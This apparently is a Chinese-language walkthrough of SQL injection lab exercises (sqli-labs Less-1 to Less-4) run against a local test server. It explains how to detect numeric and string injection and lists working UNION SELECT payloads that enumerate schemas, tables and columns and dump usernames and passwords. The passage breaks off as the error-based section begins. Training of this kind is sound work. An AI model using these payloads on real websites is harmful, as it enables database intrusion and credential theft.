一. 首先判断注入类型,分为字符型与数字型两种。
关于数字型注入判断方法
/?id=1 and 1=1 页面显示正常
/?id=1 and 1=2 页面显示不正常
原理是在Mysql数据库中,若字符为数字型,则查询代码类似于:SELECT * FROM users WHERE id=$id LIMIT 0,1
关于字符注入判断方法
一般字符型的六种包裹方式为:
'$id',"$id",('$id'),("$id"),(('$id')),(("$id"))
可以通过多次尝试不同方式的闭合,最终判断出此字段是哪种闭合方式。
二. 联合查询注入
Less-1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
1. 判断出闭合方式为单引号
2. 判断表的字段数
http://127.0.0.1/sql/Less-1/?id=1' order by 4--+
http://127.0.0.1/sql/Less-1/?id=1' order by 3--+
故可知表中的字段数为3
3.判断可显字段(报错+union联合查询)
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3--+
TIPS:此时id=X,X为表中不存在的id字段。目的是:在使用union联合查询时,令前面的输出数据(select * from users where id=-1)为空,而输出后面union查询的值。
可以在本地测试一下:结果如图所示。因此在此处,id = -1 或者 id = 1 and 1=2 或者 id = 999作用相同,也就是说数据库中是不会存在这些不正常的id值的,select 查询结果自然是会返回为空的。
4.在可显字段处进行下一步的注入,获取想要的信息
-
查询数据库名
/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
-
查询表名
Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='要查询的数据库名'--+
-
查询字段名
/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名' --+
-
查询字段内容
/Less-1/?id=-1' union select 1,username,password from users--+
TIPS:若要显示某字段全部内容,使用函数group_concat(),或用limit x,1一个个输出。
Less-2
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
1. 判断出为数字型注入,方法在文章开头。
2. 判断表的字段数
http://127.0.0.1/sql/Less-2/?id=1 order by 4
http://127.0.0.1/sql/Less-2/?id=1 order by 3
3. 判断可显字段
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,3
4.在可显字段处进行下一步的注入,获取想要的信息
-
查询数据库名
/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
-
查询表名
Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='要查询的数据库名'
-
查询字段名
/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'
-
查询字段内容
/Less-2/?id=-1 union select 1,2,group_concat(username) from users
Less-3
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
字符型注入,闭合方式是 1') --+
注入流程同 Less-1
Less-4
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
字符型注入,闭合方式是 1") --+
三. 报错注入
原理: 当查询不回显内容时